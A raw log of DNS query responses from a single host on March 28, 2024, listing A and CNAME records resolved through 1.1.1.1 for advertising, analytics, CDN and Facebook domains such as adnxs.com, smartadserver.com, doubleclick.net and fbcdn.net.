Mar 28, 2024 09:52:37.977494001 CET	1.1.1.1	192.168.2.4	0x2eaf	No error (0)	jsdelivr.map.fastly.net		151.101.129.229	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:37.977494001 CET	1.1.1.1	192.168.2.4	0x2eaf	No error (0)	jsdelivr.map.fastly.net		151.101.1.229	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:37.977494001 CET	1.1.1.1	192.168.2.4	0x2eaf	No error (0)	jsdelivr.map.fastly.net		151.101.65.229	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:37.977775097 CET	1.1.1.1	192.168.2.4	0x1c00	No error (0)	cdn.jsdelivr.net	jsdelivr.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:38.344528913 CET	1.1.1.1	192.168.2.4	0x1d2	No error (0)	ib.adnxs.com	g.geo.appnexusgslb.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:38.344528913 CET	1.1.1.1	192.168.2.4	0x1d2	No error (0)	g.geo.appnexusgslb.net	ib.anycast.adnxs.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:38.344528913 CET	1.1.1.1	192.168.2.4	0x1d2	No error (0)	ib.anycast.adnxs.com		68.67.160.24	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:38.344528913 CET	1.1.1.1	192.168.2.4	0x1d2	No error (0)	ib.anycast.adnxs.com		68.67.160.186	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:38.344528913 CET	1.1.1.1	192.168.2.4	0x1d2	No error (0)	ib.anycast.adnxs.com		68.67.181.211	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:38.344528913 CET	1.1.1.1	192.168.2.4	0x1d2	No error (0)	ib.anycast.adnxs.com		68.67.160.117	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:38.344528913 CET	1.1.1.1	192.168.2.4	0x1d2	No error (0)	ib.anycast.adnxs.com		68.67.160.114	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:38.344528913 CET	1.1.1.1	192.168.2.4	0x1d2	No error (0)	ib.anycast.adnxs.com		68.67.179.155	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:38.344528913 CET	1.1.1.1	192.168.2.4	0x1d2	No error (0)	ib.anycast.adnxs.com		68.67.160.26	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:38.344528913 CET	1.1.1.1	192.168.2.4	0x1d2	No error (0)	ib.anycast.adnxs.com		68.67.160.184	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:38.344528913 CET	1.1.1.1	192.168.2.4	0x1d2	No error (0)	ib.anycast.adnxs.com		68.67.160.137	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:38.344528913 CET	1.1.1.1	192.168.2.4	0x1d2	No error (0)	ib.anycast.adnxs.com		68.67.160.76	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:38.344528913 CET	1.1.1.1	192.168.2.4	0x1d2	No error (0)	ib.anycast.adnxs.com		68.67.161.182	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:38.344528913 CET	1.1.1.1	192.168.2.4	0x1d2	No error (0)	ib.anycast.adnxs.com		68.67.160.132	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:38.345683098 CET	1.1.1.1	192.168.2.4	0x4dc0	No error (0)	prg.smartadserver.com	prga.smartadserver.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:38.345683098 CET	1.1.1.1	192.168.2.4	0x4dc0	No error (0)	prga.smartadserver.com	hb-geo.delivery-prod-sas.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:38.345683098 CET	1.1.1.1	192.168.2.4	0x4dc0	No error (0)	use2.smartadserver.com		135.148.2.48	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:38.345683098 CET	1.1.1.1	192.168.2.4	0x4dc0	No error (0)	use2.smartadserver.com		135.148.2.49	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:38.345683098 CET	1.1.1.1	192.168.2.4	0x4dc0	No error (0)	use2.smartadserver.com		147.135.119.114	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:38.345683098 CET	1.1.1.1	192.168.2.4	0x4dc0	No error (0)	use2.smartadserver.com		147.135.94.208	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:38.345683098 CET	1.1.1.1	192.168.2.4	0x4dc0	No error (0)	use2.smartadserver.com		147.135.94.209	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:38.345683098 CET	1.1.1.1	192.168.2.4	0x4dc0	No error (0)	use2.smartadserver.com		147.135.119.115	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:38.347068071 CET	1.1.1.1	192.168.2.4	0xd2e2	No error (0)	prg.smartadserver.com	prga.smartadserver.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:38.347068071 CET	1.1.1.1	192.168.2.4	0xd2e2	No error (0)	prga.smartadserver.com	hb-geo.delivery-prod-sas.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:38.351995945 CET	1.1.1.1	192.168.2.4	0x9e3	No error (0)	adx.adform.net	track-eu.adformnet.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:38.352638006 CET	1.1.1.1	192.168.2.4	0xfc07	No error (0)	adx.adform.net	track-eu.adformnet.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:39.542840004 CET	1.1.1.1	192.168.2.4	0x21f9	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:39.542840004 CET	1.1.1.1	192.168.2.4	0x21f9	No error (0)	star-mini.c10r.facebook.com		157.240.229.35	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:39.543642044 CET	1.1.1.1	192.168.2.4	0x29bc	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:40.175887108 CET	1.1.1.1	192.168.2.4	0xec31	No error (0)	pubads.g.doubleclick.net	pubads46.g.doubleclick.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:40.177169085 CET	1.1.1.1	192.168.2.4	0xc3fc	No error (0)	pubads.g.doubleclick.net	pubads46.g.doubleclick.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:40.177169085 CET	1.1.1.1	192.168.2.4	0xc3fc	No error (0)	pubads46.g.doubleclick.net		172.253.63.155	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:40.177169085 CET	1.1.1.1	192.168.2.4	0xc3fc	No error (0)	pubads46.g.doubleclick.net		172.253.63.154	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:40.287659883 CET	1.1.1.1	192.168.2.4	0x53c4	No error (0)	tags.crwdcntrl.net		18.160.46.59	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:40.287659883 CET	1.1.1.1	192.168.2.4	0x53c4	No error (0)	tags.crwdcntrl.net		18.160.46.100	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:40.287659883 CET	1.1.1.1	192.168.2.4	0x53c4	No error (0)	tags.crwdcntrl.net		18.160.46.56	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:40.287659883 CET	1.1.1.1	192.168.2.4	0x53c4	No error (0)	tags.crwdcntrl.net		18.160.46.85	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:40.288863897 CET	1.1.1.1	192.168.2.4	0xd37c	No error (0)	prebid-server.rubiconproject.com	prebid-server.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:40.289772034 CET	1.1.1.1	192.168.2.4	0x44af	No error (0)	prebid-server.rubiconproject.com	prebid-server.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:40.408755064 CET	1.1.1.1	192.168.2.4	0xf1a	No error (0)	scontent.xx.fbcdn.net		31.13.66.19	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:40.410058975 CET	1.1.1.1	192.168.2.4	0x5705	No error (0)	video.xx.fbcdn.net		31.13.66.28	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:40.422278881 CET	1.1.1.1	192.168.2.4	0x163	No error (0)	static.xx.fbcdn.net	scontent.xx.fbcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:40.422523975 CET	1.1.1.1	192.168.2.4	0x29de	No error (0)	static.xx.fbcdn.net	scontent.xx.fbcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:40.422523975 CET	1.1.1.1	192.168.2.4	0x29de	No error (0)	scontent.xx.fbcdn.net		31.13.66.19	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:40.446419954 CET	1.1.1.1	192.168.2.4	0xcc45	No error (0)	prg.smartadserver.com	prga.smartadserver.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:40.446419954 CET	1.1.1.1	192.168.2.4	0xcc45	No error (0)	prga.smartadserver.com	hb-geo.delivery-prod-sas.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:40.446419954 CET	1.1.1.1	192.168.2.4	0xcc45	No error (0)	use2.smartadserver.com		147.135.119.115	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:40.446419954 CET	1.1.1.1	192.168.2.4	0xcc45	No error (0)	use2.smartadserver.com		147.135.94.208	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:40.446419954 CET	1.1.1.1	192.168.2.4	0xcc45	No error (0)	use2.smartadserver.com		147.135.119.114	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:40.446419954 CET	1.1.1.1	192.168.2.4	0xcc45	No error (0)	use2.smartadserver.com		147.135.94.209	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:40.446419954 CET	1.1.1.1	192.168.2.4	0xcc45	No error (0)	use2.smartadserver.com		135.148.2.49	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:40.446419954 CET	1.1.1.1	192.168.2.4	0xcc45	No error (0)	use2.smartadserver.com		135.148.2.48	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:40.447626114 CET	1.1.1.1	192.168.2.4	0x4c93	No error (0)	prg.smartadserver.com	prga.smartadserver.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:40.447626114 CET	1.1.1.1	192.168.2.4	0x4c93	No error (0)	prga.smartadserver.com	hb-geo.delivery-prod-sas.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:42.074331045 CET	1.1.1.1	192.168.2.4	0xda43	No error (0)	adx.4strokemedia.com	sky-4s-prod-revive-alb-2096715180.eu-central-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:42.074608088 CET	1.1.1.1	192.168.2.4	0xcd55	No error (0)	adx.4strokemedia.com	sky-4s-prod-revive-alb-2096715180.eu-central-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:42.074608088 CET	1.1.1.1	192.168.2.4	0xcd55	No error (0)	sky-4s-prod-revive-alb-2096715180.eu-central-1.elb.amazonaws.com		3.126.34.182	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:42.074608088 CET	1.1.1.1	192.168.2.4	0xcd55	No error (0)	sky-4s-prod-revive-alb-2096715180.eu-central-1.elb.amazonaws.com		18.193.206.117	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:42.972906113 CET	1.1.1.1	192.168.2.4	0x64c3	No error (0)	csync.smartadserver.com	csync.smartadserver.com.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:42.975255966 CET	1.1.1.1	192.168.2.4	0xf22	No error (0)	csync.smartadserver.com	csync.smartadserver.com.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:42.994707108 CET	1.1.1.1	192.168.2.4	0xbcf0	No error (0)	viralize-d.openx.net		34.98.64.218	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:42.994707108 CET	1.1.1.1	192.168.2.4	0xbcf0	No error (0)	viralize-d.openx.net		35.244.159.8	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:43.082546949 CET	1.1.1.1	192.168.2.4	0xb7b4	No error (0)	cdnb.4strokemedia.com	d1863ctvwyyq5.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:43.082546949 CET	1.1.1.1	192.168.2.4	0xb7b4	No error (0)	d1863ctvwyyq5.cloudfront.net		52.85.61.101	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:43.082546949 CET	1.1.1.1	192.168.2.4	0xb7b4	No error (0)	d1863ctvwyyq5.cloudfront.net		52.85.61.59	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:43.082546949 CET	1.1.1.1	192.168.2.4	0xb7b4	No error (0)	d1863ctvwyyq5.cloudfront.net		52.85.61.108	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:43.082546949 CET	1.1.1.1	192.168.2.4	0xb7b4	No error (0)	d1863ctvwyyq5.cloudfront.net		52.85.61.48	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:43.269797087 CET	1.1.1.1	192.168.2.4	0xad15	No error (0)	cdnb.4strokemedia.com	d1863ctvwyyq5.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:43.594263077 CET	1.1.1.1	192.168.2.4	0x8664	No error (0)	ced-ns.sascdn.com	cdn-ns.cdn-prod-sas.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:43.594804049 CET	1.1.1.1	192.168.2.4	0x4176	No error (0)	ced-ns.sascdn.com	cdn-ns.cdn-prod-sas.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:43.905926943 CET	1.1.1.1	192.168.2.4	0x7764	No error (0)	i.w55c.net	cdn.w55c.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:43.905926943 CET	1.1.1.1	192.168.2.4	0x7764	No error (0)	cdn.w55c.net		52.54.57.187	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:43.905926943 CET	1.1.1.1	192.168.2.4	0x7764	No error (0)	cdn.w55c.net		52.7.252.24	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:43.905926943 CET	1.1.1.1	192.168.2.4	0x7764	No error (0)	cdn.w55c.net		54.167.117.6	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:43.905926943 CET	1.1.1.1	192.168.2.4	0x7764	No error (0)	cdn.w55c.net		52.73.176.61	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:43.905926943 CET	1.1.1.1	192.168.2.4	0x7764	No error (0)	cdn.w55c.net		54.166.48.10	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:43.905926943 CET	1.1.1.1	192.168.2.4	0x7764	No error (0)	cdn.w55c.net		52.6.168.171	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:43.905926943 CET	1.1.1.1	192.168.2.4	0x7764	No error (0)	cdn.w55c.net		54.175.248.252	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:43.905926943 CET	1.1.1.1	192.168.2.4	0x7764	No error (0)	cdn.w55c.net		52.86.126.204	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:43.907655001 CET	1.1.1.1	192.168.2.4	0xe437	No error (0)	i.w55c.net	cdn.w55c.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:43.929994106 CET	1.1.1.1	192.168.2.4	0x1f1e	No error (0)	p.rfihub.com	a.rfihub.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:43.929994106 CET	1.1.1.1	192.168.2.4	0x1f1e	No error (0)	a.rfihub.com	a.rfihub.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:43.931037903 CET	1.1.1.1	192.168.2.4	0x29a4	No error (0)	p.rfihub.com	a.rfihub.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:43.931037903 CET	1.1.1.1	192.168.2.4	0x29a4	No error (0)	a.rfihub.com	a.rfihub.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:44.192964077 CET	1.1.1.1	192.168.2.4	0xb7d9	No error (0)	px.moatads.com	wildcard.moatads.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:44.193130016 CET	1.1.1.1	192.168.2.4	0xf581	No error (0)	px.moatads.com	wildcard.moatads.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:44.245793104 CET	1.1.1.1	192.168.2.4	0x983f	No error (0)	track.adform.net	track-eu.adformnet.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:44.263540983 CET	1.1.1.1	192.168.2.4	0xbe32	No error (0)	track.adform.net	track-eu.adformnet.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:44.321268082 CET	1.1.1.1	192.168.2.4	0x9b8c	No error (0)	config.aps.amazon-adsystem.com		18.160.10.80	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:44.321268082 CET	1.1.1.1	192.168.2.4	0x9b8c	No error (0)	config.aps.amazon-adsystem.com		18.160.10.17	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:44.321268082 CET	1.1.1.1	192.168.2.4	0x9b8c	No error (0)	config.aps.amazon-adsystem.com		18.160.10.20	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:44.321268082 CET	1.1.1.1	192.168.2.4	0x9b8c	No error (0)	config.aps.amazon-adsystem.com		18.160.10.101	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:44.367218971 CET	1.1.1.1	192.168.2.4	0xcdab	No error (0)	eu-u.openx.net		35.244.159.8	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:44.367218971 CET	1.1.1.1	192.168.2.4	0xcdab	No error (0)	eu-u.openx.net		34.98.64.218	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:44.425457001 CET	1.1.1.1	192.168.2.4	0x4a89	No error (0)	scontent-iad3-1.xx.fbcdn.net		31.13.66.19	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:44.698571920 CET	1.1.1.1	192.168.2.4	0xb092	No error (0)	analytics.google.com		142.251.163.101	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:44.698571920 CET	1.1.1.1	192.168.2.4	0xb092	No error (0)	analytics.google.com		142.251.163.113	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:44.698571920 CET	1.1.1.1	192.168.2.4	0xb092	No error (0)	analytics.google.com		142.251.163.139	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:44.698571920 CET	1.1.1.1	192.168.2.4	0xb092	No error (0)	analytics.google.com		142.251.163.102	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:44.698571920 CET	1.1.1.1	192.168.2.4	0xb092	No error (0)	analytics.google.com		142.251.163.100	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:44.698571920 CET	1.1.1.1	192.168.2.4	0xb092	No error (0)	analytics.google.com		142.251.163.138	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:44.787260056 CET	1.1.1.1	192.168.2.4	0x3e21	No error (0)	image6.pubmatic.com	image6v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:44.787260056 CET	1.1.1.1	192.168.2.4	0x3e21	No error (0)	image6v2.pubmnet.com	pugm-nje1.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:44.787260056 CET	1.1.1.1	192.168.2.4	0x3e21	No error (0)	pugm-nje1.pubmnet.com		207.65.37.181	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:44.787951946 CET	1.1.1.1	192.168.2.4	0x4648	No error (0)	ad.turn.com	ad.turn.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:44.788258076 CET	1.1.1.1	192.168.2.4	0x8650	No error (0)	image6.pubmatic.com	image6v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:44.788258076 CET	1.1.1.1	192.168.2.4	0x8650	No error (0)	image6v2.pubmnet.com	pugm-nje1.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:44.788670063 CET	1.1.1.1	192.168.2.4	0x4087	No error (0)	ssum-sec.casalemedia.com		172.64.151.101	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:44.788670063 CET	1.1.1.1	192.168.2.4	0x4087	No error (0)	ssum-sec.casalemedia.com		104.18.36.155	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:44.788861036 CET	1.1.1.1	192.168.2.4	0xaae4	No error (0)	ssum-sec.casalemedia.com			65	IN (0x0001)	false
Mar 28, 2024 09:52:44.788885117 CET	1.1.1.1	192.168.2.4	0xb284	No error (0)	ad.turn.com	ad.turn.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:44.791799068 CET	1.1.1.1	192.168.2.4	0x3427	No error (0)	sync.adotmob.com		45.137.176.88	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:44.794545889 CET	1.1.1.1	192.168.2.4	0xfc59	No error (0)	secure.adnxs.com	g.geo.appnexusgslb.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:44.794545889 CET	1.1.1.1	192.168.2.4	0xfc59	No error (0)	g.geo.appnexusgslb.net	ib.anycast.adnxs.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:44.794545889 CET	1.1.1.1	192.168.2.4	0xfc59	No error (0)	ib.anycast.adnxs.com		68.67.178.10	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:44.794545889 CET	1.1.1.1	192.168.2.4	0xfc59	No error (0)	ib.anycast.adnxs.com		68.67.160.114	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:44.794545889 CET	1.1.1.1	192.168.2.4	0xfc59	No error (0)	ib.anycast.adnxs.com		68.67.160.26	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:44.794545889 CET	1.1.1.1	192.168.2.4	0xfc59	No error (0)	ib.anycast.adnxs.com		68.67.181.211	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:44.794545889 CET	1.1.1.1	192.168.2.4	0xfc59	No error (0)	ib.anycast.adnxs.com		68.67.160.184	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:44.794545889 CET	1.1.1.1	192.168.2.4	0xfc59	No error (0)	ib.anycast.adnxs.com		68.67.179.87	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:44.794545889 CET	1.1.1.1	192.168.2.4	0xfc59	No error (0)	ib.anycast.adnxs.com		68.67.160.75	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:44.794545889 CET	1.1.1.1	192.168.2.4	0xfc59	No error (0)	ib.anycast.adnxs.com		68.67.179.166	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:44.794545889 CET	1.1.1.1	192.168.2.4	0xfc59	No error (0)	ib.anycast.adnxs.com		68.67.179.153	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:44.794545889 CET	1.1.1.1	192.168.2.4	0xfc59	No error (0)	ib.anycast.adnxs.com		68.67.160.132	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:44.794545889 CET	1.1.1.1	192.168.2.4	0xfc59	No error (0)	ib.anycast.adnxs.com		68.67.160.117	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:44.794545889 CET	1.1.1.1	192.168.2.4	0xfc59	No error (0)	ib.anycast.adnxs.com		68.67.179.164	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:44.990678072 CET	1.1.1.1	192.168.2.4	0x3e32	No error (0)	external-xxc1-1.xx.fbcdn.net	scontent-xxc1-1.xx.fbcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:44.990678072 CET	1.1.1.1	192.168.2.4	0x3e32	No error (0)	scontent-xxc1-1.xx.fbcdn.net		163.70.133.2	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:45.028986931 CET	1.1.1.1	192.168.2.4	0xcb07	No error (0)	external-xxc1-1.xx.fbcdn.net	scontent-xxc1-1.xx.fbcdn.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:45.178826094 CET	1.1.1.1	192.168.2.4	0xaea2	No error (0)	s2.adform.net	s2.adformnet.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:45.179209948 CET	1.1.1.1	192.168.2.4	0xe515	No error (0)	s2.adform.net	s2.adformnet.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:45.462352991 CET	1.1.1.1	192.168.2.4	0x3cc7	No error (0)	dsp.nrich.ai		51.68.39.188	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:45.485464096 CET	1.1.1.1	192.168.2.4	0x599a	No error (0)	stats.g.doubleclick.net		172.253.115.156	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:45.485464096 CET	1.1.1.1	192.168.2.4	0x599a	No error (0)	stats.g.doubleclick.net		172.253.115.155	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:45.579194069 CET	1.1.1.1	192.168.2.4	0xd8fe	No error (0)	rtb.adentifi.com		23.22.126.75	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:45.579194069 CET	1.1.1.1	192.168.2.4	0xd8fe	No error (0)	rtb.adentifi.com		3.221.141.3	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:45.579194069 CET	1.1.1.1	192.168.2.4	0xd8fe	No error (0)	rtb.adentifi.com		54.204.233.13	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:45.579194069 CET	1.1.1.1	192.168.2.4	0xd8fe	No error (0)	rtb.adentifi.com		54.227.94.79	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:45.579194069 CET	1.1.1.1	192.168.2.4	0xd8fe	No error (0)	rtb.adentifi.com		54.88.74.145	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:45.579194069 CET	1.1.1.1	192.168.2.4	0xd8fe	No error (0)	rtb.adentifi.com		54.236.94.254	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:45.579916954 CET	1.1.1.1	192.168.2.4	0x2d72	No error (0)	sync.mathtag.com	pixel-origin.mathtag.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:45.579916954 CET	1.1.1.1	192.168.2.4	0x2d72	No error (0)	pixel-origin.mathtag.com		216.200.232.249	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:45.579916954 CET	1.1.1.1	192.168.2.4	0x2d72	No error (0)	pixel-origin.mathtag.com		216.200.232.253	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:45.579916954 CET	1.1.1.1	192.168.2.4	0x2d72	No error (0)	pixel-origin.mathtag.com		74.121.140.211	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:45.580281019 CET	1.1.1.1	192.168.2.4	0xf85f	No error (0)	sync.mathtag.com	pixel-origin.mathtag.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:45.580365896 CET	1.1.1.1	192.168.2.4	0x13de	No error (0)	d.adroll.com	adserver-vpc-alb-1-2048135467.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:45.580365896 CET	1.1.1.1	192.168.2.4	0x13de	No error (0)	adserver-vpc-alb-1-2048135467.us-east-1.elb.amazonaws.com		100.26.66.10	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:45.580365896 CET	1.1.1.1	192.168.2.4	0x13de	No error (0)	adserver-vpc-alb-1-2048135467.us-east-1.elb.amazonaws.com		52.71.157.251	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:52:45.581226110 CET	1.1.1.1	192.168.2.4	0xade	No error (0)	d.adroll.com	adserver-vpc-alb-3-917510562.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:45.581403017 CET	1.1.1.1	192.168.2.4	0xbc71	No error (0)	beacon.lynx.cognitivlabs.com	lynx-prod-beacon-alb-498367235.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:45.582024097 CET	1.1.1.1	192.168.2.4	0x43cc	No error (0)	beacon.lynx.cognitivlabs.com	lynx-prod-beacon-alb-498367235.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:52:45.582024097 CET	1.1.1.1	192.168.2.4	0x43cc	No error (0)	lynx-prod-beacon-alb-498367235.us-east-1.elb.amazonaws.com		34.203.68.24	A (IP address)	IN (0x0001)	false
